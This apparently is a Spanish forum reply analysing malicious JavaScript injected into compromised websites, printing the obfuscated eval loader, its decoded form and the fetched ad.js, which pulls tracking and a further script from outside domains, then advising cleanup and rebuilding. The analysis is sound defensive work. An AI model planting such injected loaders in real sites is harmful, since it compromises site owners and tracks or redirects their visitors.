Encontré estos javascript en los sitios comprometidos.
<script type="text/javascript" async="" src="https://ads.voipnewswire.net/ad.js"></script><scripttype="text/javascript"><![CDATA[eval(unescape("eval%28function%28p%2Ca%2Cc%2Ck%2Ce%2Cr%29%7Be%3Dfunction%28c%29%7Breturn%28c%3Ca%3F%27%27%3Ae%28parseInt%28c/a%29%29%29+%28%28c%3Dc%25a%29%3E35%3FString.fromCharCode%28c+29%29%3Ac.toString%2836%29%29%7D%3Bif%28%21%27%27.replace%28/%5E/%2CString%29%29%7Bwhile%28c--%29r%5Be%28c%29%5D%3Dk%5Bc%5D%7C%7Ce%28c%29%3Bk%3D%5Bfunction%28e%29%7Breturn%20r%5Be%5D%7D%5D%3Be%3Dfunction%28%29%7Breturn%27%5C%5Cw+%27%7D%3Bc%3D1%7D%3Bwhile%28c--%29if%28k%5Bc%5D%29p%3Dp.replace%28new%20RegExp%28%27%5C%5Cb%27+e%28c%29+%27%5C%5Cb%27%2C%27g%27%29%2Ck%5Bc%5D%29%3Breturn%20p%7D%28%276%207%28a%2Cb%29%7Bn%7B4%282.9%29%7B3%20c%3D2.9%28%22o%22%29%3Bc.p%28b%2Cf%2Cf%29%3Ba.q%28c%29%7Dg%7B3%20c%3D2.r%28%29%3Ba.s%28%5C%27t%5C%27+b%2Cc%29%7D%7Du%28e%29%7B%7D%7D6%20h%28a%29%7B4%28a.8%29a%3Da.8%3B4%28a%3D%3D%5C%27%5C%27%29v%3B3%20b%3Da.w%28%5C%27%7C%5C%27%29%5B1%5D%3B3%20c%3B3%20d%3D2.x%28%5C%27y%5C%27%29%3Bz%283%20i%3D0%3Bi%3Cd.5%3Bi++%294%28d%5Bi%5D.A%3D%3D%5C%27B-C-D%5C%27%29c%3Dd%5Bi%5D%3B4%282.j%28%5C%27k%5C%27%29%3D%3DE%7C%7C2.j%28%5C%27k%5C%27%29.l.5%3D%3D0%7C%7Cc.5%3D%3D0%7C%7Cc.l.5%3D%3D0%29%7BF%286%28%29%7Bh%28a%29%7D%2CG%29%7Dg%7Bc.8%3Db%3B7%28c%2C%5C%27m%5C%27%29%3B7%28c%2C%5C%27m%5C%27%29%7D%7D%27%2C43%2C43%2C%27%7C%7Cdocument%7Cvar%7Cif%7Clength%7Cfunction%7CGTranslateFireEvent%7Cvalue%7CcreateEvent%7C%7C%7C%7C%7C%7Ctrue%7Celse%7CdoGTranslate%7C%7CgetElementById%7Cgoogle_translate_element2%7CinnerHTML%7Cchange%7Ctry%7CHTMLEvents%7CinitEvent%7CdispatchEvent%7CcreateEventObject%7CfireEvent%7Con%7Ccatch%7Creturn%7Csplit%7CgetElementsByTagName%7Cselect%7Cfor%7CclassName%7Cgoog%7Cte%7Ccombo%7Cnull%7CsetTimeout%7C500%27.split%28%27%7C%27%29%2C0%2C%7B%7D%29%29"))/* ]]> */</script>
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El último se traduce a
var elem = document.createElement('script');
elem.type = 'text/javascript';
elem.async = true;
elem.src = 'https://ads.voipnewswire.net/ad.js';
var alls = document.getElementsByTagName('script');
var nt3 = true;
for (var i = alls.length; i--;) {
if (alls[i].src.indexOf('voipnewswire') > -1) {
nt3 = false;
}
}
if (nt3 == true) {
document.getElementsByTagName("head")[0].appendChild(elem);
}
El ad.js
es
var _paq = _paq || [];
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
var u="https://voipnewswire.innocraft.cloud/";
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', '1']);
var d=document, g=d.createElement('script'),
s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js';
s.parentNode.insertBefore(g,s);
var cloudscr = document.createElement('script'); cloudscr.type = 'text/javascript'; cloudscr.src = https://glasssunshine.cf/glcf.js; cloudscr.async = true; document.getElementsByTagName("head")[0].appendChild(cloudscr);
Lo que en última instancia conduce a anuncios y seguimiento de javascript, enlace
Estos códigos son el problema. Puede eliminarlos de las plantillas de sus CMS.
Pero recomiendo encarecidamente realizar una copia de seguridad de todo y comenzar desde el principio porque sospecho que su servidor / proveedor de alojamiento está comprometido o tiene el control del atacante.